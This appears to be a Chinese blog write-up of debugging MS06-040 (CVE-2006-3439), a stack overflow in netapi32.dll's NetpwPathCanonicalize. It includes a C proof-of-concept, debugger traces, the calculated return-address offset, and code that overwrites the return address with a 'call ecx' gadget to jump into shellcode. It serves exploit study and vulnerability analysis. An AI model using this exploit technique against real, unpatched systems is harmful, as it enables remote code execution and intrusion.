MS06-040(CVE-2006-3439)动态调试

根据poc代码,通过LoadLibrary获取netapi32.dll的基地址,然后用GetProcAddress获取函数NetpwPathCanonicalize地址,memset对str和source参数进行初始化填充为a和b

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);

int main()
{
 char Str[0x320];
 char lpWideCharStr[0x440];
 int  arg_8 = 0x440;
 char Source[0x100];
 long arg_10 = 44;

 HINSTANCE LibHandle;
 MYPROC Func;
 char DllName[] = "./netapi32.dll";

 LibHandle = LoadLibrary(DllName);
 if( LibHandle == NULL)
 {
     MessageBox(0, "Can't Load DLL!", "Warning", 0);
     FreeLibrary(LibHandle);
 }

 Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
 if ( Func == NULL )
 {
     MessageBox(0, "Can't Load Function Address!", "Warning", 0);
     FreeLibrary(LibHandle);
 }
 memset(Str, 0, sizeof(Str));
 memset(Str, 'a', sizeof(Str)-2);
 memset(Source, 0, sizeof(Source));
 memset(Source, 'b', sizeof(Source)-2);

 (Func)(Str, lpWideCharStr, arg_8, Source, &amp;arg_10, 0);
 FreeLibrary(LibHandle);
 return 0;
}

编译此代码,运行程序,根据错误提示代码得知这是缓冲区溢出,错误地址位于0x61616161,也就是四个’a’

OD载入poc.exe程序调试代码,idapro载入netapi32.dll静态分析

首先LoadLibrary将netapi32.dll加载

Idapro中找到该函数的起始地址0x7517F7E2

OD中搜索该地址,下断点,并运行

根据之前的分析,存在溢出的函数位在地址0x7517F856处被调用

OD下断点,执行

F7进入call

查看栈空间内容,得到信息

0x0012F66C  ESP

0x0012F670  Return Address

执行完sub esp,414分配栈空间后,栈顶为0x12F258

执行第一条wcscpy将Source拷贝操作后

此时在0x12F258处拷贝254个字母‘b’

即执行memset(Source, ‘b’, sizeof(Source)-2);

执行到wcscat()后,也就是拼接上一个路径连接符’\’

在数据区可以看到

当执行到地址0x7517FD0A处wcscat()时,拼接的是‘a’

起始地址为0x12F358

一直到0x12F676,共有0x31E = 798个字母‘a’

需要注意的是返回地址0x0012F670也被覆盖为字母‘a’

所以当执行到retn返回时,返回地址变为0x61616161

返回会出错,而此时注意到寄存器中内容,ecx的值正好是可以控制输入的缓冲区起始地址

如果在程序返回地址处写入call ecx,然后跳转到缓冲区shellcode,就可以实现漏洞利用

获取同一库文件netapi32.dll的call ecx地址

写入自己的shellcode,并且将source初始化为shellcode内容

返回地址在0x0012F670,而填充的Str参数起始地址为0x0012F358,所以长度为0x670-0x358=0x318,即Str[0]-Str[317]为填充的全‘a’,所以返回地址位于Str[318]-Str[31B]

 memset(Str, 0, sizeof(Str));
 memset(Str, 'a', sizeof(Str)-2);
 memset(Source, 0, sizeof(Source));
 memset(Source, 'b', sizeof(Source)-2);
 memcpy(Source, ShellCode, sizeof(ShellCode));

 Str[0x318] = 0xF9;
 Str[0x319] = 0x52;
 Str[0x31A] = 0x18;
 Str[0x31B] = 0x75;

您可能还喜欢...